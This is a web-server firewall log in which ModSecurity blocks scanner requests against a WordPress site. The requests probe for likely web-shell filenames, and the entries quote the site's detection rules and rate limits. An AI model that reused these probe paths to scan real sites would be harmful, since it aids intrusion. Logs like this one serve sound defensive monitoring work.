[Thu Feb 26 22:24:39.128488 2026] [:error] [pid 55122:tid 55135] [client 4.194.131.131:2365] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aaBXp4LiR0OfjFxvcN82RgAAAMs"]
[Thu Feb 26 22:24:39.342129 2026] [:error] [pid 55051:tid 55069] [client 4.194.131.131:2334] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aaBXpwmK1w2kZvh5eLHPkgAAAI8"]
[Thu Feb 26 22:24:39.498882 2026] [:error] [pid 54991:tid 55036] [client 20.151.107.14:60767] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signup.php"] [unique_id "aaBXp94Zx-mJ8gbRB2j-CgAAAFA"]
[Thu Feb 26 22:24:39.603118 2026] [:error] [pid 55051:tid 55056] [client 4.194.131.131:2854] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aaBXpwmK1w2kZvh5eLHPkwAAAII"]
[Thu Feb 26 22:24:39.881132 2026] [:error] [pid 54991:tid 55039] [client 4.194.131.131:2304] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aaBXp94Zx-mJ8gbRB2j-DQAAAFM"]
[Thu Feb 26 22:24:40.061749 2026] [:error] [pid 54991:tid 55023] [client 4.194.131.131:2830] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aaBXqN4Zx-mJ8gbRB2j-DwAAAEM"]
[Thu Feb 26 22:24:40.114897 2026] [:error] [pid 54991:tid 55035] [client 20.151.107.14:62901] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signup.php"] [unique_id "aaBXqN4Zx-mJ8gbRB2j-EQAAAE8"]
[Thu Feb 26 22:24:40.309609 2026] [:error] [pid 54991:tid 55021] [client 4.194.131.131:2377] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aaBXqN4Zx-mJ8gbRB2j-EwAAAEE"]
[Thu Feb 26 22:24:40.487749 2026] [:error] [pid 54991:tid 55034] [client 4.194.131.131:2392] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aaBXqN4Zx-mJ8gbRB2j-FQAAAE4"]
[Thu Feb 26 22:24:40.595847 2026] [:error] [pid 20419:tid 20435] [client 20.151.107.14:64229] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signup.php"] [unique_id "aaBXqO3DVDvMfTYYUBVoNQAAAc0"]
[Thu Feb 26 22:24:40.719080 2026] [:error] [pid 55051:tid 55054] [client 4.194.131.131:2383] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aaBXqAmK1w2kZvh5eLHPlQAAAIA"]
[Thu Feb 26 22:24:40.917409 2026] [:error] [pid 54991:tid 55042] [client 4.194.131.131:2864] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aaBXqN4Zx-mJ8gbRB2j-GAAAAFY"]
[Thu Feb 26 22:24:41.047692 2026] [:error] [pid 54991:tid 55031] [client 20.151.107.14:63570] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aaBXqd4Zx-mJ8gbRB2j-GQAAAEs"]
[Thu Feb 26 22:24:41.128998 2026] [:error] [pid 3883:tid 3902] [client 4.194.131.131:2349] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aaBXqeA33x90V6yYHaj2RgAAAVA"]
[Thu Feb 26 22:24:41.308492 2026] [:error] [pid 54991:tid 55026] [client 4.194.131.131:2351] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aaBXqd4Zx-mJ8gbRB2j-GgAAAEY"]
[Thu Feb 26 22:24:41.465810 2026] [:error] [pid 3883:tid 3893] [client 20.151.107.14:63540] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aaBXqeA33x90V6yYHaj2RwAAAUc"]
[Thu Feb 26 22:24:41.512351 2026] [:error] [pid 3883:tid 3909] [client 4.194.131.131:2401] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aaBXqeA33x90V6yYHaj2SAAAAVc"]
[Thu Feb 26 22:24:41.748711 2026] [:error] [pid 54991:tid 55040] [client 4.194.131.131:2816] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aaBXqd4Zx-mJ8gbRB2j-HwAAAFQ"]
[Thu Feb 26 22:24:41.944528 2026] [:error] [pid 20419:tid 20425] [client 20.151.107.14:63496] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aaBXqe3DVDvMfTYYUBVoOwAAAcM"]
[Thu Feb 26 22:24:42.012102 2026] [:error] [pid 54991:tid 55038] [client 4.194.131.131:2319] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aaBXqt4Zx-mJ8gbRB2j-IQAAAFI"]
[Thu Feb 26 22:24:42.186229 2026] [:error] [pid 25311:tid 25327] [client 4.194.131.131:2846] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thai.php"] [unique_id "aaBXqtfdM__yZAgJFSvrxQAAAY0"]
[Thu Feb 26 22:24:42.392357 2026] [:error] [pid 55051:tid 55067] [client 4.194.131.131:2370] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thai.php"] [unique_id "aaBXqgmK1w2kZvh5eLHPnwAAAI0"]
[Thu Feb 26 22:24:42.403352 2026] [:error] [pid 20419:tid 20432] [client 20.151.107.14:61400] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aaBXqu3DVDvMfTYYUBVoPQAAAco"]
[Thu Feb 26 22:24:42.595805 2026] [:error] [pid 25311:tid 25317] [client 4.194.131.131:2375] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thai.php"] [unique_id "aaBXqtfdM__yZAgJFSvrxgAAAYM"]
[Thu Feb 26 22:24:42.836626 2026] [:error] [pid 20419:tid 20426] [client 4.194.131.131:2829] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/thai.php"] [unique_id "aaBXqu3DVDvMfTYYUBVoQQAAAcQ"]
[Thu Feb 26 22:24:42.912754 2026] [:error] [pid 54991:tid 55041] [client 20.151.107.14:63505] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-conflg.php"] [unique_id "aaBXqt4Zx-mJ8gbRB2j-JwAAAFU"]
[Thu Feb 26 22:24:43.074355 2026] [:error] [pid 54990:tid 54997] [client 4.194.131.131:2363] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aaBXq3tr2qmt_mBhH2wvOgAAAAQ"]
[Thu Feb 26 22:24:43.261862 2026] [:error] [pid 54991:tid 55027] [client 4.194.131.131:2333] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aaBXq94Zx-mJ8gbRB2j-KgAAAEc"]
[Thu Feb 26 22:24:43.411509 2026] [:error] [pid 54991:tid 55034] [client 20.151.107.14:63498] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-conflg.php"] [unique_id "aaBXq94Zx-mJ8gbRB2j-KwAAAE4"]
[Thu Feb 26 22:24:43.437286 2026] [:error] [pid 44444:tid 44458] [client 4.194.131.131:2352] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aaBXq22sMNmj-yekUk1NYQAAAgg"]
[Thu Feb 26 22:24:43.636421 2026] [:error] [pid 44444:tid 44451] [client 4.194.131.131:2850] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lopst.php"] [unique_id "aaBXq22sMNmj-yekUk1NYgAAAgE"]
[Thu Feb 26 22:24:43.865192 2026] [:error] [pid 55051:tid 55070] [client 20.151.107.14:64217] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-conflg.php"] [unique_id "aaBXqwmK1w2kZvh5eLHPowAAAJA"]
[Thu Feb 26 22:24:43.867530 2026] [:error] [pid 3883:tid 3901] [client 4.194.131.131:2357] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wft.php"] [unique_id "aaBXq-A33x90V6yYHaj2SgAAAU8"]
[Thu Feb 26 22:24:44.150457 2026] [:error] [pid 3883:tid 3892] [client 4.194.131.131:2337] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wft.php"] [unique_id "aaBXrOA33x90V6yYHaj2UQAAAUY"]
[Thu Feb 26 22:24:44.337619 2026] [:error] [pid 3883:tid 3888] [client 4.194.131.131:2820] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wft.php"] [unique_id "aaBXrOA33x90V6yYHaj2VAAAAUI"]
[Thu Feb 26 22:24:44.337626 2026] [:error] [pid 3883:tid 3890] [client 20.151.107.14:61355] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-conflg.php"] [unique_id "aaBXrOA33x90V6yYHaj2UwAAAUQ"]
[Thu Feb 26 22:24:44.516859 2026] [:error] [pid 55618:tid 55624] [client 4.194.131.131:2426] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wft.php"] [unique_id "aaBXrB61Vrh12f_8oWQUnAAAAQM"]
[Thu Feb 26 22:24:44.701492 2026] [:error] [pid 3883:tid 3896] [client 4.194.131.131:2346] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aaBXrOA33x90V6yYHaj2WAAAAUo"]
[Thu Feb 26 22:24:44.772852 2026] [:error] [pid 3883:tid 3903] [client 20.151.107.14:61336] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaBXrOA33x90V6yYHaj2WgAAAVE"]
[Thu Feb 26 22:24:44.932057 2026] [:error] [pid 3883:tid 3902] [client 4.194.131.131:2871] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aaBXrOA33x90V6yYHaj2XQAAAVA"]
[Thu Feb 26 22:24:45.112820 2026] [:error] [pid 54991:tid 55029] [client 4.194.131.131:2707] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aaBXrd4Zx-mJ8gbRB2j-LgAAAEk"]
[Thu Feb 26 22:24:45.287560 2026] [:error] [pid 3883:tid 3895] [client 4.194.131.131:2330] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws28.php"] [unique_id "aaBXreA33x90V6yYHaj2ZAAAAUk"]
[Thu Feb 26 22:24:45.470901 2026] [:error] [pid 54991:tid 55032] [client 4.194.131.131:2310] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aaBXrd4Zx-mJ8gbRB2j-MQAAAEw"]
[Thu Feb 26 22:24:45.590874 2026] [:error] [pid 54991:tid 55043] [client 20.151.107.14:62899] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "aaBXrd4Zx-mJ8gbRB2j-MgAAAFc"]
[Thu Feb 26 22:24:45.648818 2026] [:error] [pid 54991:tid 55036] [client 4.194.131.131:2700] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aaBXrd4Zx-mJ8gbRB2j-MwAAAFA"]
[Thu Feb 26 22:24:45.859332 2026] [:error] [pid 54991:tid 55038] [client 4.194.131.131:2390] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aaBXrd4Zx-mJ8gbRB2j-NQAAAFI"]
[Thu Feb 26 22:24:46.045401 2026] [:error] [pid 54991:tid 55033] [client 4.194.131.131:2851] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsvvs.php"] [unique_id "aaBXrt4Zx-mJ8gbRB2j-NgAAAE0"]
[Thu Feb 26 22:24:46.055710 2026] [:error] [pid 54990:tid 55008] [client 20.151.107.14:64138] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/pki-validation/index.php"] [unique_id "aaBXrntr2qmt_mBhH2wvPgAAAA8"]
[Thu Feb 26 22:24:46.227468 2026] [:error] [pid 55618:tid 55630] [client 4.194.131.131:2429] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "aaBXrh61Vrh12f_8oWQUoAAAAQk"]
[Thu Feb 26 22:24:46.405522 2026] [:error] [pid 55051:tid 55072] [client 4.194.131.131:2355] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "aaBXrgmK1w2kZvh5eLHPsQAAAJI"]
[Thu Feb 26 22:24:46.486234 2026] [:error] [pid 55051:tid 55061] [client 20.151.107.14:61412] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/pki-validation/index.php"] [unique_id "aaBXrgmK1w2kZvh5eLHPsgAAAIc"]
[Thu Feb 26 22:24:46.579422 2026] [:error] [pid 54991:tid 55039] [client 4.194.131.131:2861] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "aaBXrt4Zx-mJ8gbRB2j-OQAAAFM"]
[Thu Feb 26 22:24:46.752768 2026] [:error] [pid 54991:tid 55035] [client 4.194.131.131:2332] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vbbn.php"] [unique_id "aaBXrt4Zx-mJ8gbRB2j-OgAAAE8"]
[Thu Feb 26 22:24:47.001449 2026] [:error] [pid 54991:tid 55023] [client 4.194.131.131:2358] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aaBXr94Zx-mJ8gbRB2j-PQAAAEM"]
[Thu Feb 26 22:24:47.180695 2026] [:error] [pid 20419:tid 20440] [client 4.194.131.131:2311] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aaBXr-3DVDvMfTYYUBVoSAAAAdI"]
[Thu Feb 26 22:24:47.211719 2026] [:error] [pid 54991:tid 55044] [client 20.151.107.14:64235] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/pki-validation/index.php"] [unique_id "aaBXr94Zx-mJ8gbRB2j-QQAAAFg"]
